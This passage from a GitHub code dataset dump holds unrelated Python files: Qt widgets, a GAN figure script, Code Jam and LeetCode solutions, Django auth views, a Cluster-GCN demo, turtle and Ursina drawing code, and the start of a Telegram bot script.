super(CollapsibleBox, self).__init__(parent)\n self.toggle_button = QtWidgets.QToolButton(\n text=title,\n checkable=True,\n checked=False,\n )\n self.toggle_button.setStyleSheet(\"QToolButton { border: none; }\")\n self.toggle_button.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)\n self.toggle_button.setArrowType(QtCore.Qt.RightArrow)\n self.toggle_button.clicked.connect(self.on_click)\n\n self.toggle_animation = QtCore.QParallelAnimationGroup(self)\n\n self.content_area = QtWidgets.QScrollArea(maximumHeight=0, minimumHeight=0)\n self.content_area.setSizePolicy(\n QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed\n )\n self.content_area.setFrameShape(QtWidgets.QFrame.NoFrame)\n\n lay = QtWidgets.QVBoxLayout(self)\n lay.setSpacing(0)\n lay.setContentsMargins(0, 0, 0, 0)\n lay.addWidget(self.toggle_button)\n lay.addWidget(self.content_area)\n\n self.toggle_animation.addAnimation(\n QtCore.QPropertyAnimation(self, b\"minimumHeight\")\n )\n self.toggle_animation.addAnimation(\n QtCore.QPropertyAnimation(self, b\"maximumHeight\")\n )\n self.toggle_animation.addAnimation(\n QtCore.QPropertyAnimation(self.content_area, b\"maximumHeight\")\n )\n\n self.toggle_animation.finished.connect(self.on_animation_finished)\n\n def on_click(self) -> None:\n checked = self.toggle_button.isChecked()\n self.toggle_button.setArrowType(\n QtCore.Qt.DownArrow if checked else QtCore.Qt.RightArrow\n )\n self.toggle_animation.setDirection(\n QtCore.QAbstractAnimation.Forward\n if checked\n else QtCore.QAbstractAnimation.Backward\n )\n self.toggle_animation.start()\n\n def on_animation_finished(self) -> None:\n if not self.toggle_button.isChecked():\n content_height = self.content_area.layout().sizeHint().height()\n parent = self.parent()\n assert isinstance(parent, QtWidgets.QWidget)\n parent.resize(parent.width(), parent.height() - content_height)\n\n def setContentLayout(self, layout: QtWidgets.QBoxLayout) -> None:\n lay = self.content_area.layout()\n del lay\n self.content_area.setLayout(layout)\n collapsed_height = self.sizeHint().height() - self.content_area.maximumHeight()\n content_height = layout.sizeHint().height()\n for i in range(self.toggle_animation.animationCount()):\n animation = self.toggle_animation.animationAt(i)\n assert isinstance(animation, QtCore.QPropertyAnimation)\n animation.setDuration(60)\n animation.setStartValue(collapsed_height)\n animation.setEndValue(collapsed_height + content_height)\n\n content_animation = self.toggle_animation.animationAt(\n self.toggle_animation.animationCount() - 1\n )\n assert isinstance(content_animation, QtCore.QPropertyAnimation)\n content_animation.setDuration(60)\n content_animation.setStartValue(0)\n content_animation.setEndValue(content_height)\n","repo_name":"freedomofpress/dangerzone","sub_path":"dangerzone/gui/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":12812,"program_lang":"python","lang":"en","doc_type":"code","stars":2749,"dataset":"github-code","pt":"61"} +{"seq_id":"14040889746","text":"\"\"\"Create qualitative figures used in the paper.\"\"\"\nimport sys\nsys.path.insert(0, \".\")\nimport argparse, tqdm, glob, os, copy\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch, cv2\nimport torch.nn.functional as F\nfrom torchvision import utils as vutils\n\nfrom lib.visualizer import segviz_numpy\nfrom lib.misc import formal_name, listkey_convert\nfrom lib.op import torch2image, torch2numpy, bu\nfrom predictors.face_segmenter import FaceSegmenter, CELEBA_CATEGORY\nfrom predictors.scene_segmenter import SceneSegmenter\nfrom models.helper import build_generator, load_semantic_extractor\n\n\ndef get_classes(l, start=0):\n x = np.array(l)\n y = x.argsort()\n k = 0\n while x[y[k]] < 1e-3:\n k += 1\n y = y[k:][::-1]\n # all classes are the same\n names = label_list[y - 1 + start] \n return x[y], names.tolist(), y + start\n\ndef get_text(gt, ct):\n s = []\n vals, names, cats = get_classes(ct[\"IoU\"])\n iou = gt[\"mIoU\"]\n s.append([f\"mIoU {iou:.3f}\", high_contrast[0]])\n s.extend([[f\"{name} {val:.3f}\", high_contrast[cat]]\n for cat, name, val in zip(cats, names, vals)])\n return s[:7]\n\ndef process(res):\n res = torch.cat(res)\n res = F.interpolate(res, 256,\n mode=\"bilinear\", align_corners=True)\n return utils.torch2numpy(res * 255).transpose(0, 2, 3, 1)\n\n\ndef get_result_G(G_name, z):\n G = Gs[G_name]\n P = Ps[G_name]\n if hasattr(G, \"truncation\"):\n wp = G.truncation(G.mapping(z))\n image, feature = G.synthesis(wp, generate_feature=True)\n else:\n image, feature = G(z, generate_feature=True)\n label = P(image, size=256)\n label_viz = segviz_numpy(label.cpu())\n image_set = [torch2image(bu(image, 256))[0], label_viz]\n text_set = [\n formal_name(G_name).split(\"_\")[0],\n \"UNet\" if is_face else \"DeeplabV3\"]\n for i, (SE_name, SE) in enumerate(SE_models[G_name].items()): \n seg = SE(feature, size=label.shape[2])[-1]\n est_label = seg.argmax(1)\n est_label_viz = segviz_numpy(est_label[0].cpu())\n image_set.append(est_label_viz)\n text_set.append(SE_name)\n return image_set, text_set\n\n\ndef SE_from_dir(data_dir, G_names):\n model_dirs = glob.glob(f\"{data_dir}/*\")\n model_files = [d for d in model_dirs if os.path.isdir(d)]\n model_files = [glob.glob(f\"{f}/*.pth\") for f in model_files]\n model_files = [[m for m in ms if \"eval\" not in m] \\\n for ms in model_files]\n model_files = [m[0] for m in model_files if len(m) == 1]\n model_files.sort()\n SE_model_paths = {\n G_name : [p for p in model_files if G_name in p]\n for G_name in G_names.split(\",\")}\n SE_models = {G_name : {} for G_name in G_names.split(\",\")}\n for G_name in SE_model_paths:\n model_paths = SE_model_paths[G_name]\n for fpath in model_paths:\n SE_name = listkey_convert(fpath, [\"LSE\", \"NSE-1\", \"NSE-2\"])\n SE_models[G_name][SE_name] = load_semantic_extractor(fpath).cuda()\n return SE_models\n\ndef put_text(img, text, pos):\n N_text = len(text)\n textsize = cv2.getTextSize(text, cv2.FONT_HERSHEY_DUPLEX, 1.2, 1)[0]\n pos = (pos[0] - int(textsize[0] // 2),\n pos[1] + int(textsize[1] // 2))\n cv2.putText(img, text, pos,\n cv2.FONT_HERSHEY_DUPLEX, 1.2, (0, 0, 0),\n 1, cv2.LINE_AA)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dir\", default=\"expr/semantics\")\n parser.add_argument(\"--op\", default=\"\", help=\"face,bedroom,church\")\n parser.add_argument(\"--place\", default=\"paper\", help=\"paper | appendix\")\n parser.add_argument(\"--viz-models\", default=\"LSE,NSE-1,NSE-2\")\n parser.add_argument(\"--repeat\", default=1, type=int)\n parser.add_argument(\"--scale\", default=1.0, type=float)\n parser.add_argument(\"--row-set-num\", default=1, type=int)\n parser.add_argument(\"--gpu-id\", default=0, type=int)\n args = parser.parse_args()\n\n if args.op == \"\":\n args = f\"--dir {args.dir} --place {args.place} --viz-models {args.viz_models} --repeat {args.repeat} --row-set-num {args.row_set_num} --gpu-id {args.gpu_id}\"\n for op in [\"face\", \"bedroom\", \"church\"]:\n os.system(f\"python figure/qualitative_paper.py {args} --op {op}\")\n exit(0)\n \n G_names = \"pggan_celebahq,stylegan_celebahq,stylegan2_ffhq\"\n if args.op == \"bedroom\":\n G_names = \"pggan_bedroom,stylegan_bedroom,stylegan2_bedroom\"\n elif args.op == \"church\":\n G_names = \"pggan_church,stylegan_church,stylegan2_church\"\n # setup and constants\n data_dir = args.dir\n Gs = {G_name : build_generator(G_name).net for G_name in G_names.split(\",\")}\n is_face = \"ffhq\" in G_names or \"celebahq\" in G_names\n net = FaceSegmenter if is_face else SceneSegmenter\n Ps = {G_name : net(model_name=G_name) for G_name in G_names.split(\",\")}\n label_list = CELEBA_CATEGORY if is_face else []\n n_class = len(label_list)\n N_repeat = args.repeat\n SE_models = SE_from_dir(data_dir, G_names)\n torch.manual_seed(1701 if args.place == 'paper' else 3941)\n z = torch.randn(N_repeat, 512)\n\n # get result from all models\n paper_img = []\n paper_text = []\n count = 0\n with torch.no_grad():\n for G_name, G in Gs.items():\n for i in range(N_repeat):\n image_set, text_set = get_result_G(G_name, z[i:i+1].cuda())\n paper_img.append(image_set)\n paper_text.append(text_set)\n \n segnet_name = \"UNet\" if is_face else \"DeeplabV3\"\n imageset_headers = [\"image\", segnet_name] + list(SE_models.keys())\n\n row_set_num = args.row_set_num # place 2 set of images in every row\n image_set_num = len(paper_img[0])\n N_col = row_set_num * image_set_num\n N_imgs = image_set_num * N_repeat * len(Gs)\n N_row = N_imgs // N_col\n imsize = 256\n text_height = 33\n pad = 5\n CW = imsize + pad\n CH = imsize + text_height\n canvas_width = imsize * N_col + pad * (N_col - 1)\n canvas_height = (text_height + imsize) * N_row\n canvas = np.zeros((canvas_height, canvas_width, 3), dtype=\"uint8\")\n canvas.fill(255)\n\n for idx, (image_set, text_set) in enumerate(zip(paper_img, paper_text)):\n col = (idx % row_set_num) * image_set_num\n row = idx // row_set_num\n for img, text in zip(image_set, text_set):\n # labeling\n if (row == 0 and \"GAN\" not in text) or col == 0:\n put_text(canvas, text, (CW * col + imsize // 2, CH * row + text_height // 2))\n\n stx = text_height + CH * row\n edx = stx + imsize\n sty = CW * col\n edy = sty + imsize\n #print(canvas.shape, row, col, stx, edx, sty, edy)\n canvas[stx:edx, sty:edy] = img\n col += 1\n \"\"\" # put miou annotations on both sides\n if idx % 3 == 0:\n idx = idx // 3\n delta = CW * (N_col + 1) if idx % 2 == 1 else 0\n for i, (text, rgb) in enumerate(paper_text[idx]):\n i += 1\n cv2.putText(canvas, text,\n (5 + delta, text_height + (idx // 2) * CH + 33 * i),\n cv2.FONT_HERSHEY_DUPLEX, 1, (0, 0, 0),\n 2 if \"mIoU\" in text else 1, cv2.LINE_AA)\n \"\"\"\n\n sizes = (N_col, N_row * 1.05)\n sizes = (sizes[0] * args.scale, sizes[1] * args.scale)\n fig = plt.figure(figsize=sizes) # paper: 11, 7\n plt.imshow(canvas)\n plt.axis(\"off\")\n plt.tight_layout()\n plt.savefig(f\"results/qualitative/{args.op}_{args.place}_{args.repeat}.pdf\")\n plt.close()\n","repo_name":"AtlantixJJ/LinearGAN","sub_path":"figure/qualitative_paper.py","file_name":"qualitative_paper.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"23382428531","text":"from sys import stdin\r\n\r\ndictionary = {'XXXX':1, 'TXXX':1, 'XTXX':1, 'XXTX':1, 'XXXT':1, 'OOOO':-1, 'TOOO':-1, 'OTOO':-1, 'OOTO':-1, 'OOOT':-1}\r\n\r\nT = int(input())\r\ndata = stdin.readlines()\r\nd=0\r\nt=1\r\nwhile(t<=T):\r\n i=0\r\n flag = 0\r\n li=[]\r\n dotpresent = 0\r\n while(i<4):\r\n data[d]=data[d].rstrip(\"\\n\")\r\n if '.' in data[d]:\r\n dotpresent=1\r\n li.append(data[d])\r\n d+=1\r\n i+=1\r\n d+=1\r\n \r\n for ii in range(4):\r\n s = ''\r\n for jj in range(4):\r\n s+=li[jj][ii]\r\n li.append(s)\r\n \r\n li.append(li[0][0]+li[1][1]+li[2][2]+li[3][3])\r\n li.append(li[0][-1]+li[1][-2]+li[2][-3]+li[3][-4])\r\n print(li)\r\n for ii in li:\r\n if ii in dictionary:\r\n if dictionary[ii]==1:\r\n print(\"Case #\"+str(t)+\": X won\")\r\n flag = 1\r\n break\r\n else:\r\n print(\"Case #\"+str(t)+\": O won\")\r\n flag = 1\r\n break\r\n if(flag == 0):\r\n if dotpresent == 1:\r\n print(\"Case #\"+str(t)+\": Game has not completed\")\r\n break\r\n else:\r\n print(\"Case #\"+str(t)+\": Draw\")\r\n break\r\n t+=1","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/2501.py","file_name":"2501.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41866825272","text":"\n\nfrom user.models import UserLanguage\nfrom rest_framework import permissions\n\n\nclass IsModeratorPermission(permissions.BasePermission):\n message = \"Not a moderator of this language.\"\n\n def has_object_permission(self, request, view, obj):\n user = request.user\n if user.is_superuser:\n return True\n try:\n result = obj.version.language.user_languages.get(user=user.profile).is_moderator\n except AttributeError:\n result = True\n except UserLanguage.DoesNotExist:\n result = False\n\n return result","repo_name":"pyfection/servare","sub_path":"api/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"23586610291","text":"from math import pi\n\ndef b(rh):\n return 2 * rh[0] * rh[1]\n\n\ndef a(n, k, cakes):\n ma = 0\n for j, i in enumerate(cakes):\n ans = i[0] ** 2 + b(i)\n nc = cakes[:j] + cakes[j + 1:]\n nc = list(filter(lambda x: x[0] <= i[0], nc))\n if len(nc) < k - 1:\n continue\n nc = list(map(b, nc))\n nc.sort(key=lambda x: -x)\n nc = nc[:k - 1]\n ans += sum(nc[:k - 1])\n ma = max(ans, ma)\n return ma * pi\n\n\nif __name__ == \"__main__\":\n with open(\"sub-5.in\") as fi,\\\n open(\"output\", \"w\") as fo:\n t = int(fi.readline())\n for i in range(1, t + 1):\n n, k = map(int, fi.readline().split())\n cakes = []\n for j in range(n):\n cakes.append(tuple(map(int, fi.readline().split())))\n\n fo.write(\"Case #{0}: {1}\\n\".format(i, a(n, k, cakes)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_209/583.py","file_name":"583.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25922436764","text":"# Fourth approach Turtle mini project shape 2\n\nimport turtle # turtle object\n\n# Begin filling\nturtle.begin_fill()\n\n# Drawing speed (optional)\nturtle.speed(10) \n\n# Cursor shape\nturtle.shape('turtle') \n\n# Line and filling colors\nturtle.color('blue','green') \n\n# Line thickness (Optional)\nturtle.pensize(1) \n\n\n\ndef equilateral(lenght):\n\n\t\"\"\"\n\t\tThis function draws a pattern of three green triangle.\n\t\"\"\"\n\t# First line\n\tturtle.forward(lenght * 2) # => NoneType\n\t\n\t# angles angle direction\n\tangle_direction = [1,-1, 1] # Changes angle_direction of turtle.left() or turtle.right()\n\tfor direction in angle_direction:\n\n\t\tturtle.left(direction * 120)\n\t\tturtle.forward(lenght)\n\t\tturtle.left(direction * 120)\n\t\tturtle.forward(lenght)\n\n\t# Last line\n\tturtle.forward(lenght)\n\n\t# Reset the initial position\n\tturtle.left(120)\n\n\ndef pattern(length):\n\n\t\"\"\"\n\t\tThis fuction repeats the equilateral function by coordinates.\n\t\"\"\"\n\t# Calculate the height of the triangle\n\theight = ((length * 2) ** 2 - length ** 2) ** 0.5 # => int\n\n\tequilateral(length) # First equilateral green pattern\n\n\t# Coordinate points.\n\tcoordinates = [(1,-1),(2,-2),(3,-3),(-1,-1),\n\t(-2,-2),(-3,-3),(-1,-3),(1,-3)] # => list\n\n\tfor i in range(8):\n\t\t\n\t\tturtle.penup()\n\t\tturtle.setposition(0,0)\n\t\tturtle.setposition(length * coordinates[i][0], height * coordinates[i][1])\n\t\tturtle.pendown()\n\t\tequilateral(length)\n\n\n\n# Calling the function\nl = 50\npattern(l)\n\n# End filling.\nturtle.end_fill() # => NoneType\n\n# To prevent the canvas to close automatically.\nturtle.exitonclick() # => NoneType","repo_name":"patricksile/code_folder","sub_path":"IIHT/Software Engineering/Projects/Python/project_3_turtle_mini_shape_2_4th_approach.py","file_name":"project_3_turtle_mini_shape_2_4th_approach.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19182579886","text":"from ursina import *\nfrom spells import Spells, rarity_colors\n\nclass SpellTree(Entity):\n def __init__(self, enabled=False, **kwargs):\n super().__init__(parent=camera.ui, enabled=enabled, z=-10, **kwargs)\n from draggable_orb import DraggableOrb\n self.bg = Sprite('shore', parent=self, ppu=1080, color=hsv(0,0,0,.95), z=2, collider='box')\n self.close_button = Button(parent=self, scale=.1, color=color._16, text='x', position=(.5,-.4), on_click=self.disable)\n\n combinations = [value for (key,value) in Spells.__dict__.items() if key.startswith('Combination_')]\n # print(combinations)\n orb_parent = Entity(parent=self, scale=.1, y=.25)\n layers = [Entity(parent=orb_parent, y=-i*2) for i in range(3)]\n\n for y, combo in enumerate(combinations):\n level = sum([int(e) for e in combo.__name__[-3:]])\n # print(f'{combo.__name__} (lvl: {level})')\n orb = DraggableOrb([int(e) for e in combo.__name__[-3:]], parent=layers[level-1], ignore=True)\n orb.tooltip.text = ''\n\n spells = [value for (key,value) in combo.__dict__.items() if not key.startswith('_')]\n for s in spells:\n orb.tooltip.text = f'<{rarity_colors[level-1]}>{s.__name__}\\n' + f'{s.description}'\n\n orb.tooltip.create_background()\n\n for e in layers:\n grid_layout(e.children, origin=(0,0,0), max_x=10)\n\n\n\nif __name__ == '__main__':\n app = Ursina()\n st = SpellTree(enabled=True)\n\n EditorCamera()\n app.run()\n","repo_name":"pokepetter/roots","sub_path":"spell_tree.py","file_name":"spell_tree.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"11316998375","text":"def rektangel(indrag, hojd, bredd, tecken):\r\n for d in range(0, hojd):\r\n print((indrag)*' ', end=\"\")\r\n print(bredd*tecken)\r\na = int(input(\"width: \"))\r\nb = int(input(\"height: \"))\r\nc = str(input(\"symbol: \"))\r\nindr = int(input(\"push: \"))\r\n\r\nprint()\r\nrektangel(indr, b, a, c)\r\n","repo_name":"maxbergmark/old-work","sub_path":"GruPDat/Laboration 2/uppgift2.py","file_name":"uppgift2.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38064634077","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**6)\nN, M = map(int, input().split())\nnm = [[-1, 0], [0, -1], [1, 0], [0, 1]]\nsize = [0 for _ in range(N*M+1)]\ngroup = [False for _ in range(N*M+1)]\nshape = []\nans = 0\nfor i in range(N):\n shape.append(list(map(int, input().split())))\n\n\ndef setNum(n, m, num):\n c = 1\n q = deque()\n shape[n][m] = num\n q.append([n, m])\n while q:\n x, y = q.popleft()\n for _x, _y in nm:\n tmpx, tmpy = x+_x, y+_y\n if 0 <= tmpx < N and 0 <= tmpy < M and shape[tmpx][tmpy] == 1:\n shape[tmpx][tmpy] = num\n c += 1\n q.append([tmpx, tmpy])\n return c\n\n\ndef dfs(n, m, idx, res):\n global ans\n if idx == 4:\n if ans < res:\n ans = res\n return\n tx = n+nm[idx][0]\n ty = m+nm[idx][1]\n if 0 <= tx < N and 0 <= ty < M and group[shape[tx][ty]] == False and shape[tx][ty] != 0:\n group[shape[tx][ty]] = True\n dfs(n, m, idx+1, res+size[shape[tx][ty]])\n group[shape[tx][ty]] = False\n else:\n dfs(n, m, idx+1, res)\n return\n\n\nwhere = []\nnum = 2\nfor i in range(N):\n for j in range(M):\n if shape[i][j] == 1:\n size[num] = setNum(i, j, num)\n num += 1\n elif shape[i][j] == 0:\n where.append([i, j])\nfor x, y in where:\n dfs(x, y, 0, 1)\n\n\nprint(ans)","repo_name":"shg9411/algo","sub_path":"algo_py/boj/bj16932.py","file_name":"bj16932.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"12783992561","text":"from os import environ as env\nimport logging\nimport sys\n\ndef setUpLogging():\n if not 'DEBUG' in env:\n return\n\n def exceptionCallback(eType, eValue, eTraceBack):\n import cgitb\n\n txt = cgitb.text((eType, eValue, eTraceBack))\n\n logging.fatal(txt)\n \n sys.exit(1)\n\n # configure file logger\n # format = '%(asctime)s %(levelname)s %(message)s'\n logging.basicConfig(level = logging.DEBUG,\n format = '%(levelname)s %(message)s')\n \n # replace default exception handler\n sys.excepthook = exceptionCallback\n \n logging.debug('Logging and exception handling has been set up')\n","repo_name":"marook/tagfs-utils","sub_path":"src/modules/tag_utils/log_config.py","file_name":"log_config.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"2040751198","text":"#\n# @lc app=leetcode id=79 lang=python\n#\n# [79] Word Search\n#\n\n# @lc code=start\nclass Solution(object):\n def exist(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: str\n :rtype: bool\n \"\"\"\n\n ROW = len(board)\n COL = len(board[0])\n \n\n def isOutOfBounds(row, col):\n return ( row < 0 or row >= ROW ) or ( col < 0 or col >= COL )\n\n\n\n def find(row, col, c_index):\n\n if isOutOfBounds(row, col) or board[row][col] != word[c_index]:\n return False\n\n if c_index == len(word) - 1:\n return True\n \n board[row][col] = None\n\n # top\n t = find(row-1, col, c_index+1)\n\n # left\n l = find(row, col-1, c_index+1)\n\n # right\n r = find(row, col+1, c_index+1)\n\n # bottom\n b = find(row+1, col, c_index+1)\n\n board[row][col] = word[c_index]\n\n return t or l or r or b\n\n\n for i in range(ROW):\n for j in range(COL):\n if word[0] == board[i][j] and find(i, j, 0):\n return True \n \n return False\n\n\n \n# @lc code=end\nprint(Solution().exist([[\"A\",\"B\",\"C\",\"E\"],[\"S\",\"F\",\"C\",\"S\"],[\"A\",\"D\",\"E\",\"E\"]], word = \"ABCB\"))\n","repo_name":"aryanjain28/DSA","sub_path":"revision_150/79.word-search.py","file_name":"79.word-search.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72828558274","text":"from random import choice\nfrom string import ascii_letters\n\nfrom django.core.mail import send_mail\nfrom django.db import IntegrityError\nfrom rest_framework import filters, permissions, status, viewsets\nfrom rest_framework.decorators import action, api_view, permission_classes\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.tokens import RefreshToken\n\nfrom users.models import User\nfrom users.permissions import IsAdminUser\nfrom users.serializers import (\n AdminSerializer,\n CustomUserSerializer,\n RegistrationSerializer,\n TokenObtainSerializer,\n)\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef api_token_for_user(request):\n serializer = TokenObtainSerializer(data=request.data)\n if serializer.is_valid():\n try:\n user = User.objects.get(username=request.data.get('username'))\n if user.username == request.data.get(\n 'username',\n ) and user.confirmation_code == request.data.get(\n 'confirmation_code',\n ):\n refresh = RefreshToken.for_user(user)\n return Response(\n {\n 'token': str(refresh.access_token),\n },\n status=status.HTTP_200_OK,\n )\n except User.DoesNotExist:\n return Response(\n 'Username not exsist',\n status=status.HTTP_404_NOT_FOUND,\n )\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef api_registration(request):\n serializer = RegistrationSerializer(data=request.data)\n if serializer.is_valid():\n confirmation_code = \"\".join([choice(ascii_letters) for i in range(10)])\n try:\n user, created = User.objects.get_or_create(\n username=request.data.get('username'),\n email=request.data.get('email'),\n )\n user.confirmation_code = confirmation_code\n user.save()\n send_mail(\n 'Take your token',\n confirmation_code,\n 'from@example.com',\n [request.data['email']],\n fail_silently=False,\n )\n return Response(serializer.data, status=status.HTTP_200_OK)\n except IntegrityError:\n return Response(\n 'Username or email has already taken',\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CustomUserViewSet(viewsets.ModelViewSet):\n http_method_names = ['get', 'post', 'patch', 'delete']\n queryset = User.objects.all()\n serializer_class = AdminSerializer\n permission_classes = (IsAdminUser,)\n pagination_class = PageNumberPagination\n filter_backends = (filters.SearchFilter,)\n search_fields = ('username',)\n lookup_field = 'username'\n\n @action(\n methods=['GET', 'PATCH'],\n url_path='me',\n detail=False,\n permission_classes=[permissions.IsAuthenticated],\n )\n def user_me_info(self, request):\n serializer = CustomUserSerializer(request.user)\n if request.method == 'PATCH':\n serializer = CustomUserSerializer(\n request.user,\n data=request.data,\n partial=True,\n )\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST,\n )\n return Response(serializer.data)\n","repo_name":"Jelister203/infra_sp2","sub_path":"api_yamdb/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71520818434","text":"# 遇到特别大的图该怎么办?\n# 图中点和边的个数都非常大的时候会遇到什么问题呢?\n# 当层数较多时,显存不够\n\nimport torch\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GCNConv\nfrom torch_geometric.datasets import Planetoid\nfrom torch_geometric.transforms import NormalizeFeatures\nfrom torch_geometric.loader import ClusterData, ClusterLoader\n\ndataset = Planetoid(root='data/Planetoid', name='PubMed', transform=NormalizeFeatures())\nprint(f'Dataset: {dataset}:')\nprint('==================')\nprint(f'Number of graphs: {len(dataset)}')\nprint(f'Number of features: {dataset.num_features}')\nprint(f'Number of classes: {dataset.num_classes}')\n\ndata = dataset[0] # Get the first graph object.\nprint(data)\nprint('===============================================================================================================')\n\n# Gather some statistics about the graph.\nprint(f'Number of nodes: {data.num_nodes}')\nprint(f'Number of edges: {data.num_edges}')\nprint(f'Average node degree: {data.num_edges / data.num_nodes:.2f}')\nprint(f'Number of training nodes: {data.train_mask.sum()}')\nprint(f'Training node label rate: {int(data.train_mask.sum()) / data.num_nodes:.3f}')\nprint(f'Has isolated nodes: {data.has_isolated_nodes()}')\nprint(f'Has self-loops: {data.has_self_loops()}')\nprint(f'Is undirected: {data.is_undirected()}')\n\n# 数据分区构建batch,构建好batch,1个epoch中有4个batch\ntorch.manual_seed(12345)\ncluster_data = ClusterData(data, num_parts=128) # 1. 分区\ntrain_loader = ClusterLoader(cluster_data, batch_size=32, shuffle=True) # 2. 构建batch.\n\ntotal_num_nodes = 0\nfor step, sub_data in enumerate(train_loader):\n print(f'Step {step + 1}:')\n print('=======')\n print(f'Number of nodes in the current batch: {sub_data.num_nodes}')\n print(sub_data)\n print()\n total_num_nodes += sub_data.num_nodes\nprint(f'Iterated over {total_num_nodes} of {data.num_nodes} nodes!')\n\n# 模型定义\nclass GCN(torch.nn.Module):\n def __init__(self, hidden_channels):\n super(GCN, self).__init__()\n torch.manual_seed(12345)\n self.conv1 = GCNConv(dataset.num_node_features, hidden_channels)\n self.conv2 = GCNConv(hidden_channels, dataset.num_classes)\n\n def forward(self, x, edge_index):\n x = self.conv1(x, edge_index)\n x = x.relu()\n x = F.dropout(x, p=0.5, training=self.training)\n x = self.conv2(x, edge_index)\n return x\n\nmodel = GCN(hidden_channels=16)\nprint(model)\n\n# 训练模型\noptimizer = torch.optim.Adam(model.parameters(), lr=0.01, weight_decay=5e-4)\ncriterion = torch.nn.CrossEntropyLoss()\n\ndef train():\n model.train()\n for sub_data in train_loader:\n out = model(sub_data.x, sub_data.edge_index)\n loss = criterion(out[sub_data.train_mask], sub_data.y[sub_data.train_mask])\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\ndef test():\n model.eval()\n out = model(data.x, data.edge_index)\n pred = out.argmax(dim=1)\n accs = []\n for mask in [data.train_mask, data.val_mask, data.test_mask]:\n correct = pred[mask] == data.y[mask]\n accs.append(int(correct.sum()) / int(mask.sum()))\n return accs\n\nfor epoch in range(1, 51):\n loss = train()\n train_acc, val_acc, test_acc = test()\n print(f'Epoch: {epoch:03d}, Train: {train_acc:.4f}, Val Acc: {val_acc:.4f}, Test Acc: {test_acc:.4f}')","repo_name":"Yangyang-jane/deep_learning","sub_path":"GNN/basic_knowledge/4-Cluster_GCN.py","file_name":"4-Cluster_GCN.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28512556998","text":"#!/bin/python3\nimport sys, os, re, requests\nimport argparse\nfrom telegram.bot import Bot\n\nTMAIL_BOT_TOKEN=''\n\naparser = argparse.ArgumentParser()\naparser.add_argument('-bot', metavar='bot-token', help='bot token (optional)')\naparser.add_argument('-s', metavar='subject', help='subject (optional)')\naparser.add_argument('-chat', metavar='chat-id', help='chat id (optional)')\naparser.add_argument('-a', metavar='attachment', help='attachment (optional)')\naparser.add_argument('--documentype', help='specify attachment type like document', action='store_true')\naparser.add_argument('--chatsonly', help='return avail chats', action='store_true')\nargs = aparser.parse_args()\n\n#token recovery process\nif TMAIL_BOT_TOKEN == '':\n if not args.bot:\n try:\n TMAIL_BOT_TOKEN = os.environ['TMAIL_BOT_TOKEN']\n except KeyError:\n if not os.path.isfile(os.environ['HOME']+'/.tmail'):\n raise Exception(\"Environment variable 'TMAIL_BOT_TOKEN' is not set\")\n else:\n with open(os.environ['HOME']+'/.tmail', 'r') as tokenfile:\n TMAIL_BOT_TOKEN = tokenfile.read()[:-1]\n else:\n if os.path.isfile(args.bot):\n with open(args.bot, 'r') as tokenfile:\n token = tokenfile.read()[:-1]\n else:\n token = args.bot\n TMAIL_BOT_TOKEN=token\n\nbot = Bot(TMAIL_BOT_TOKEN)\n\nif args.chat:\n dst_chats = [args.chat,]\nelse:\n bot_updates = requests.get('https://api.telegram.org/bot%s/getUpdates'%TMAIL_BOT_TOKEN)\n #print(bot_updates.json())\n dst_chats = [result['message']['chat']['id'] for result in bot_updates.json()['result']]\n dst_chats = list(dict.fromkeys(dst_chats))\n\nif args.chatsonly:\n list(map(print, 